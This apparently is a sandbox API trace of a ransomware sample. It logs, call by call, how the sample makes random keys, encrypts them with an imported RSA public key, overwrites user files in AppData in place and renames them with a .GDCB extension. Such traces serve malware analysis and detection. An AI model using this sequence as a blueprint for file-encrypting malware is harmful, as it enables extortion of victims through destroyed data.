GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.125] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.125] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0136.125] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.125] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0136.127] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x309648) returned 1 [0136.127] CryptGetKeyParam (in: hKey=0x309648, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.127] CryptEncrypt (in: hKey=0x309648, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0136.127] GetLastError () returned 0x0 [0136.127] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.127] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0136.129] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x309608) returned 1 [0136.129] CryptGetKeyParam (in: hKey=0x309608, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.129] CryptEncrypt (in: hKey=0x309608, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0136.129] GetLastError () returned 0x0 [0136.129] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.129] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\sao0lzDqm lb1JO.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\sao0lzdqm lb1jo.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0136.129] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.129] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.130] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x12ed5, lpOverlapped=0x0) returned 1 [0136.141] VirtualAlloc (lpAddress=0x0, dwSize=0x12ee0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.142] VirtualAlloc (lpAddress=0x0, dwSize=0x12ee0, flAllocationType=0x3000, flProtect=0x4) returned 0x29d0000 [0136.143] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.144] SetFilePointer (in: hFile=0x4ec, lDistanceToMove=-77525, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.144] WriteFile (in: hFile=0x4ec, lpBuffer=0x29d0000*, nNumberOfBytesToWrite=0x12ee0, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29d0000*, lpNumberOfBytesWritten=0x285f240*=0x12ee0, lpOverlapped=0x0) returned 1 [0136.144] VirtualFree (lpAddress=0x29d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.144] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.148] WriteFile (in: hFile=0x4ec, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.148] WriteFile (in: hFile=0x4ec, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.148] WriteFile (in: hFile=0x4ec, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0136.148] CloseHandle (hObject=0x4ec) returned 1 [0136.149] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.150] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.150] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.151] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\sao0lzDqm lb1JO.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\sao0lzdqm lb1jo.bmp"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\sao0lzDqm lb1JO.bmp.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\sao0lzdqm lb1jo.bmp.gdcb")) returned 1 [0136.151] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0136.152] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0136.152] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0136.152] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0136.153] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0136.153] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0136.153] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0136.154] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0136.155] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ecfd0) returned 1 [0136.155] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.156] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.156] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0136.156] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.156] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ecc18) returned 1 [0136.156] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.156] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.156] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0136.156] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.156] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecfd0) returned 1 [0136.158] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x3090c8) returned 1 [0136.158] CryptGetKeyParam (in: hKey=0x3090c8, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0136.158] CryptEncrypt (in: hKey=0x3090c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0136.159] GetLastError () returned 0x0 [0136.159] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.159] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecc18) returned 1 [0136.161] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x309148) returned 1 [0136.161] CryptGetKeyParam (in: hKey=0x309148, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0136.161] CryptEncrypt (in: hKey=0x309148, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0136.161] GetLastError () returned 0x0 [0136.161] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.161] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\skype\\roottools\\roottools.conf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0136.161] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.162] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.162] ReadFile (in: hFile=0x4f4, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285ed38*=0x4c, lpOverlapped=0x0) returned 1 [0136.170] VirtualAlloc (lpAddress=0x0, dwSize=0x50, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.171] VirtualAlloc (lpAddress=0x0, dwSize=0x50, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0136.171] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.171] SetFilePointer (in: hFile=0x4f4, lDistanceToMove=-76, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.171] WriteFile (in: hFile=0x4f4, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285ed30*=0x50, lpOverlapped=0x0) returned 1 [0136.171] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.171] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.175] WriteFile (in: hFile=0x4f4, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285ed30*=0x100, lpOverlapped=0x0) returned 1 [0136.175] WriteFile (in: hFile=0x4f4, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285ed30*=0x100, lpOverlapped=0x0) returned 1 [0136.175] WriteFile (in: hFile=0x4f4, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285ed30*=0x10, lpOverlapped=0x0) returned 1 [0136.206] CloseHandle (hObject=0x4f4) returned 1 [0136.207] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.207] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.207] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.207] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\skype\\roottools\\roottools.conf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\skype\\roottools\\roottools.conf.gdcb")) returned 1 [0136.209] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecca0) returned 1 [0136.210] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.210] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.210] CryptGenRandom (in: hProv=0x2ecca0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0136.210] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0136.210] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed0e0) returned 1 [0136.210] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.210] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.211] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0136.211] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0136.211] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0136.212] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x309188) returned 1 [0136.213] CryptGetKeyParam (in: hKey=0x309188, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.213] CryptEncrypt (in: hKey=0x309188, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0136.213] GetLastError () returned 0x0 [0136.213] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.213] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0136.215] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x309388) returned 1 [0136.215] CryptGetKeyParam (in: hKey=0x309388, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.215] CryptEncrypt (in: hKey=0x309388, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0136.215] GetLastError () returned 0x0 [0136.215] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.215] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\srk1.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\srk1.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0136.215] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.215] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.216] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x10b4b, lpOverlapped=0x0) returned 1 [0136.220] VirtualAlloc (lpAddress=0x0, dwSize=0x10b50, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.221] VirtualAlloc (lpAddress=0x0, dwSize=0x10b50, flAllocationType=0x3000, flProtect=0x4) returned 0x29d0000 [0136.222] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.222] SetFilePointer (in: hFile=0x4ec, lDistanceToMove=-68427, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.222] WriteFile (in: hFile=0x4ec, lpBuffer=0x29d0000*, nNumberOfBytesToWrite=0x10b50, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29d0000*, lpNumberOfBytesWritten=0x285f240*=0x10b50, lpOverlapped=0x0) returned 1 [0136.222] VirtualFree (lpAddress=0x29d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.223] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.226] WriteFile (in: hFile=0x4ec, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.226] WriteFile (in: hFile=0x4ec, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.226] WriteFile (in: hFile=0x4ec, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0136.226] CloseHandle (hObject=0x4ec) returned 1 [0136.227] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.227] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.227] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.227] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\srk1.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\srk1.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\srk1.flv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\srk1.flv.gdcb")) returned 1 [0136.228] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0136.228] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0136.228] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0136.228] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0136.230] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0136.230] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0136.230] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0136.230] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0136.232] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0136.232] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0136.232] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0136.232] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0136.234] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed168) returned 1 [0136.234] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.234] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.234] CryptGenRandom (in: hProv=0x2ed168, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0136.234] CryptReleaseContext (hProv=0x2ed168, dwFlags=0x0) returned 1 [0136.234] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed300) returned 1 [0136.235] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.235] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.235] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0136.235] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0136.235] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0136.237] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x309548) returned 1 [0136.237] CryptGetKeyParam (in: hKey=0x309548, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.237] CryptEncrypt (in: hKey=0x309548, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0136.237] GetLastError () returned 0x0 [0136.237] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.237] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0136.240] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x3093c8) returned 1 [0136.240] CryptGetKeyParam (in: hKey=0x3093c8, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.240] CryptEncrypt (in: hKey=0x3093c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0136.240] GetLastError () returned 0x0 [0136.240] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.240] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\UFabmkAU-rJObGOdjy23.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\ufabmkau-rjobgodjy23.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0136.240] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.241] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.241] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x5c5a, lpOverlapped=0x0) returned 1 [0136.248] VirtualAlloc (lpAddress=0x0, dwSize=0x5c60, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.249] VirtualAlloc (lpAddress=0x0, dwSize=0x5c60, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0136.249] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.249] SetFilePointer (in: hFile=0x4ec, lDistanceToMove=-23642, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.249] WriteFile (in: hFile=0x4ec, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x5c60, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285f240*=0x5c60, lpOverlapped=0x0) returned 1 [0136.250] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.250] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.252] WriteFile (in: hFile=0x4ec, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.252] WriteFile (in: hFile=0x4ec, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, 